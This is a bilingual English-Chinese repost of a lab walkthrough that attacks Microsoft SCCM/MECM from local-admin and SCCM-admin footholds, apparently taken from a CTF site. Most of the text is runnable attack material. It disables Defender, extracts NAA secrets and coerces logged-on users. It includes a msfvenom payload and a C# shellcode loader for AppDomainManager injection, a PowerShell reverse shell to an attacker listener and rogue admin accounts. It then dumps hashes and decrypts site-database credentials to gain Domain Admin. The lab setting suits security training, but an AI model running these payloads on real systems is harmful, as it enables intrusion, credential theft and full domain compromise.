SCCM / MECM LAB – Part 0x3 – Admin User

渗透技巧 7个月前 admin

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On the previous post (SCCM LAB part 0x2) we have done SCCM exploitation with a low privilege user. On this part we will exploit SCCM with an admin access on one vm.
在上一篇文章（SCCM LAB第0x2部分）中，我们已经对低权限用户进行了SCCM利用。在这一部分，我们将利用一个虚拟机上的管理员访问权限来利用 SCCM。

On part 0x1 we discovered the credentials of local administrator user on CLIENT vm.
在第 0x1 部分，我们在 CLIENT vm 上发现了本地管理员用户的凭据。

1	nxc smb 192.168.33.10-13 -u administrator -p 'EP+xh7Rk6j90' --local-auth

So we will start by exploit with local admin account.
因此，我们将从本地管理员帐户的漏洞利用开始。
also on part 0x2 we elevate the user carol to sccm administrator access so we will also look what we can do with that 🙂
此外，0x2部分，我们将用户 Carol 提升为 SCCM 管理员访问权限，因此我们还将查看我们可以用该:)做什么

Exploit with local admin user
利用本地管理员用户进行攻击

Creds 3/4 – local admin get NAA
Creds 3/4 – 本地管理员获取 NAA

Details here : Creds_3 and Creds_4
详情请见： Creds_3 和 Creds_4

from linux 从 Linux 开始

with linux you can get the infos with dploot
使用 Linux，您可以通过 DPLoot 获取信息

1	dploot sccm -u administrator -p 'EP+xh7Rk6j90' 192.168.33.13

dploot also got the wmi method to read the CIM repository file (explained in creds4 details and in Duane michael blog post : phantom-credentials-of-sccm)
dploot 还获得了 wmi 方法来读取 CIM 存储库文件（在 creds4 详细信息和 Duane michael 博客文章中进行了解释：phantom-credentials-of-sccm）

This could also be done directly with sccm hunter
这也可以直接用 sccm hunter 完成

1	python3 sccmhunter.py dpapi -u administrator -p 'EP+xh7Rk6j90' -target 192.168.33.13 -debug

from windows 从 Windows

Connect as local admin in RDP
在 RDP 中以本地管理员身份进行连接

1 2	mkdir /workspace/share xfreerdp /u:"administrator" /p:"EP+xh7Rk6j90" /v:"192.168.33.13" /cert-ignore /drive:share,/workspace

Disable windows defender 禁用 Windows Defender

1	Set-MpPreference -DisableRealTimeMonitoring $true

Next download SharpSCCM from the share and use it
接下来从共享中下载SharpSCCM并使用它

1	.\SharpSCCM_merged.exe local secrets -m wmi

1	.\SharpSCCM_merged.exe local secrets -m disk

Impersonate Users – coerce connected users
模拟用户 – 强制连接用户

Recently Andrew Oliveau (@AndrewOliveau) has written CcmPwn a tool to impersonate users with sccm client. Blog post can be read SeeSeeYouExec
最近，Andrew Oliveau （@AndrewOliveau）编写了 CcmPwn，这是一个使用 sccm 客户端模拟用户的工具。博客文章可以阅读 SeeSeeYouExec
The tool use impacket and can be used to coerce all the connected users with the help of SCNotification.exe.
该工具使用 impacket，可用于在 SCNotification.exe 的帮助下强制所有连接的用户。
First create a connected user
首先创建连接的用户

1	xfreerdp /u:"eve" /p:"iloveyou" /d:"sccm.lab" /v:"192.168.33.13" /cert-ignore

Then launch responder 然后启动响应程序

1	Responder.py -I vmnet6

And finally launch the coerce
最后启动胁迫

1	python3 ccmpwn.py 'CLIENT'/administrator:'EP+xh7Rk6j90'@192.168.33.13 coerce -computer 192.168.33.1

Impersonate Users – revshell connected users
模拟用户 – revshell 连接的用户

Appdomain manager abuse exist for some time now https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/, https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/, but the technic used with ccmpwn abuse can also load a dll on the different users. let’s try that with metasploit as we have disabled defender on client.
https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/，Appdomain 管理器滥用已经 https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/ 存在了一段时间，但用于 ccmpwn 滥用的技术也可以将 dll 加载到不同的用户身上。让我们尝试使用 Metasploit，因为我们在客户端上禁用了 Defender。
create the csharp shellcode
创建 CSHARP shellCode

1	msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.33.1 LPORT=443 -f csharp -o msf.cs

create the csharp file poc.cs
创建 CSHARP 文件poc.cs

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Threading.Tasks;

public sealed class MyAppDomainManager : AppDomainManager
{
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {
        bool res = ClassExploit.Execute();
        return;
    }
}
  
public class ClassExploit
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    public static bool Execute()
    {
       byte[] buf = new byte[510] { #shellcode here# };
       int size = buf.Length;
       IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
       Marshal.Copy(buf, 0, addr, size);
       IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
       WaitForSingleObject(hThread, 0xFFFFFFFF);
       return true;
    }
}

Upload the cs file on client and compile with:
在客户端上传 cs 文件并使用以下方式进行编译：

1	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /platform:x64 /target:library .\poc.cs

download back the dll generated (poc.dll) to our linux container
将生成的 DLL （ poc.dll ）下载回我们的 Linux 容器
create the configuration file msf.config
创建配置文件 msf.config

<configuration>
  <runtime>
    <appDomainManagerAssembly value="poc, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" />
    <appDomainManagerType value="MyAppDomainManager" />
  </runtime>
</configuration>

Launch metasploit 启动 metasploit

msfconsole -x "use exploits/multi/handler; set lhost vmnet6; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; set EXITFUNC thread; set EnableStageEncoding true; set StageEncoder x64/xor_dynamic; set ExitOnSession false; run -j"

And finally launch ccmpwn
最后启动ccmpwn

1	python3 ccmpwn.py 'CLIENT'/administrator:'EP+xh7Rk6j90'@192.168.33.13 exec -dll msf.dll -config msf.config

A few seconds later we get a shell as eve \o/
几秒钟后，我们得到一个 shell 作为 eve \o/

Exploit with SCCM admin account
使用 SCCM 管理员帐户进行攻击

Add a new admin 添加新管理员

What we can do with an SCCM admin account is add a new admin
我们可以对 SCCM 管理员帐户执行的操作是添加新管理员

ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.33.10 search '(name=franck)' 'objectSid'
[{
  "dn": "CN=franck,CN=Users,DC=sccm,DC=lab",
  "objectSid": "S-1-5-21-3544182104-1320166847-3102157022-1117"
}]

Add franck as admin 将 franck 添加为管理员

1 2	python3 sccmhunter.py admin -u [email protected] -p 'SCCMftw' -ip 192.168.33.11 -debug () (C:\) >> add_admin franck S-1-5-21-3544182104-1320166847-3102157022-1117

recon-4 – CMPivot – query client devices
recon-4 – CMPivot – 查询客户端设备

First retrieve the computer list
首先检索计算机列表

1	ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.33.10 computers

And than show the devices in sccmhunter
并且比在 sccmhunter 中显示设备

1 2	python3 sccmhunter.py admin -u [email protected] -p 'SCCMftw' -ip 192.168.33.11 -debug () (C:\) >> get_device CLIENT

execute commands 执行命令

SCCM hunter come with a lot of builtin commands to run :
SCCM hunter 带有许多内置命令来运行：
- administrators
- ipconfig
- environment
- disk
- console_users
- cd
- cat
- ls
- list_disk
- osinfo
- ps
- services
- sessions
- shares
- software

See SCCMHunter wiki for the list : https://github.com/garrettfoster13/sccmhunter/wiki/admin
有关列表，请参阅 SCCMHunter wiki ： https://github.com/garrettfoster13/sccmhunter/wiki/admin

exec-2 – Script Deployment
exec-2 – 脚本部署

Details here : Exec-2 详情请见： Exec-2
First we will create a simple revershell in powershell
首先，我们将在 powershell 中创建一个简单的 revershell

$c = New-Object System.Net.Sockets.TCPClient('192.168.33.1',4444);
$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()

We will try to deploy the script
我们将尝试部署脚本

python3 sccmhunter.py admin -u [email protected] -p 'SCCMftw' -ip 192.168.33.11
() (C:\) >> get_device CLIENT
() (C:\) >> interact 16777221
(16777221) (C:\) >> script /workspace/revshell.ps1

Ok the configuration is by default and it need approval, let’s create an approval account
好的，配置是默认的，需要批准，让我们创建一个批准帐户

# create a computer account
addcomputer.py -computer-name 'approval$' -computer-pass 'approvalaccount' 'sccm.lab/carol:SCCMftw' -dc-ip 192.168.33.10

Impacket v0.11.0 - Copyright 2023 Fortra 
[*] Successfully added machine account approval$ with password approvalaccount.  

# search the computer SID
ldeep ldap -u carol -p SCCMftw -d SCCM.lab -s ldap://192.168.33.10 search '(name=*approval*)' 'objectSid'
[{                                                                  
  "dn": "CN=approval,CN=Computers,DC=sccm,DC=lab",                  
  "objectSid": "S-1-5-21-3544182104-1320166847-3102157022-1122"     
}] 

# add the account as admin with sccmhunter
python3 sccmhunter.py admin -u [email protected] -p 'SCCMftw' -ip 192.168.33.11 -debug
SCCMHunter v1.0.1 by @garrfoster
[18:55:40] DEBUG    [*] Database built.                             
[18:55:40] INFO     [!] Enter help for extra shell commands         
() C:\ >> add_admin approval$ S-1-5-21-3544182104-1320166847-3102157022-1122
[18:55:56] INFO     Tasked SCCM to add approval$ as an administrative user.                                                             
[18:55:57] INFO     [+] Successfully added approval$ as an admin.

Run the revshell with approval$ account
使用 approval$ account 运行 revshell

python3 sccmhunter.py admin -u [email protected] -p 'SCCMftw' -ip 192.168.33.11 -au 'approval$' -ap 'approvalaccount' -debug
() (C:\) >> get_device CLIENT
() (C:\) >> interact 16777221
(16777221) (C:\) >> script /workspace/revshell.ps1

Use it to move on MECM computer too and get a revshell on the MECM computer
使用它也可以在 MECM 计算机上移动并在 MECM 计算机上获得 revshell

>> get_device MECM
...
ResourceId: 16777219 
...
>> interact 16777219
>> script /workspace/revshell.ps1

Ok let’s add a user to MECM local admin and try to retrieve and decipher the DB stored credentials
好的，让我们将用户添加到 MECM 本地管理员，并尝试检索和破译数据库存储的凭据

ps> net user myadmin myadminpass /add
The command completed successfully.

ps> net localgroup administrators myadmin /add
The command completed successfully.

cred 5 – Site Database Credentials
cred 5 – 站点数据库凭据

Details here : Cred-5 详情请见： Cred-5
At this step we have a local admin account on the MECM computer, let’s retrieve all the stored credentials in the database
在此步骤中，我们在 MECM 计算机上有一个本地管理员帐户，让我们检索数据库中存储的所有凭据
First we will retrieve the MECM$ ntlm hash
首先， MECM$ 我们将检索 ntlm 哈希值

1	secretsdump.py MECM/myadmin:'myadminpass'@192.168.33.11

Next we will use the MECM$ account to retrieve the credentials in database
接下来，我们将使用该 MECM$ 帐户来检索数据库中的凭据

1
2
3

mssqlclient.py -windows-auth -hashes 'aad3b435b51404eeaad3b435b51404ee:c8c42823ab75c8740c3a4ae7329b4d20' 'SCCMLAB/MECM$'@192.168.33.12
use CM_P01;
SELECT * FROM SC_UserAccount;

Ok and now we will decipher the password with Adam Chester’s (xpn) gist
好的，现在我们将用Adam Chester（xpn）的要点破译密码
Connect to MECM in RDP with myadmin user
使用 myadmin 用户在 RDP 中连接到 MECMConnect to mecm in RDP with myadmin user

1	xfreerdp /u:"myadmin" /p:"myadminpass" /v:"192.168.33.11" /cert-ignore

cd C:\Users\myadmin\Desktop
# copy the gist file
curl https://gist.githubusercontent.com/xpn/5f497d2725a041922c427c3aaa3b37d1/raw/f3cc19a7a834adc9676983def23f2a1b43221b42/sccmdecryptpoc.cs -O sccmdecryptpoc.cs
# compile the file
C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe /t:exe /out:sccmdecryptpoc.exe sccmdecryptpoc.cs
# and decrypt the users password
.\sccmdecryptpoc.exe <cyphered_value>

And we get the result for the three users found, and there is a DA user \o/
我们得到找到的三个用户的结果，并且有一个 DA 用户 \o/

sccm-client-push:superman
sccm-naa:123456789
sccm-account-da:SCCM_D@-ftw_

Let’s verify the DA account :
我们来验证一下 DA 帐户：

1	nxc smb 192.168.33.10 -u sccm-account-da -p 'SCCM_D@-ftw_' -d SCCM.lab

And we are Domain Admin 🙂
我们是域管理员:)

原文始发于mayfly：SCCM / MECM LAB – Part 0x3 – Admin User

版权声明：admin 发表于 2024年4月3日下午8:41。
转载请注明：SCCM / MECM LAB – Part 0x3 – Admin User | CTF导航

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SCCM / MECM LAB – Part 0x3 – Admin User

Exploit with local admin user
利用本地管理员用户进行攻击

Creds 3/4 – local admin get NAA
Creds 3/4 – 本地管理员获取 NAA

from linux 从 Linux 开始

from windows 从 Windows

Impersonate Users – coerce connected users
模拟用户 – 强制连接用户

Impersonate Users – revshell connected users
模拟用户 – revshell 连接的用户

Exploit with SCCM admin account
使用 SCCM 管理员帐户进行攻击

Add a new admin 添加新管理员

recon-4 – CMPivot – query client devices
recon-4 – CMPivot – 查询客户端设备

execute commands 执行命令

exec-2 – Script Deployment
exec-2 – 脚本部署

cred 5 – Site Database Credentials
cred 5 – 站点数据库凭据

Evilginx 3.3 - Go & Phish

Bypassing DOMPurify with good old XML

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SCCM / MECM LAB – Part 0x3 – Admin User

Exploit with local admin user 利用本地管理员用户进行攻击

Creds 3/4 – local admin get NAA Creds 3/4 – 本地管理员获取 NAA

from linux 从 Linux 开始

from windows 从 Windows

Impersonate Users – coerce connected users 模拟用户 – 强制连接用户

Impersonate Users – revshell connected users 模拟用户 – revshell 连接的用户

Exploit with SCCM admin account 使用 SCCM 管理员帐户进行攻击

Add a new admin 添加新管理员

recon-4 – CMPivot – query client devices recon-4 – CMPivot – 查询客户端设备

execute commands 执行命令

exec-2 – Script Deployment exec-2 – 脚本部署

cred 5 – Site Database Credentials cred 5 – 站点数据库凭据

Evilginx 3.3 - Go & Phish

Bypassing DOMPurify with good old XML

相关文章

广告位

相关文章

Exploit with local admin user
利用本地管理员用户进行攻击

Creds 3/4 – local admin get NAA
Creds 3/4 – 本地管理员获取 NAA

Impersonate Users – coerce connected users
模拟用户 – 强制连接用户

Impersonate Users – revshell connected users
模拟用户 – revshell 连接的用户

Exploit with SCCM admin account
使用 SCCM 管理员帐户进行攻击

recon-4 – CMPivot – query client devices
recon-4 – CMPivot – 查询客户端设备

exec-2 – Script Deployment
exec-2 – 脚本部署

cred 5 – Site Database Credentials
cred 5 – 站点数据库凭据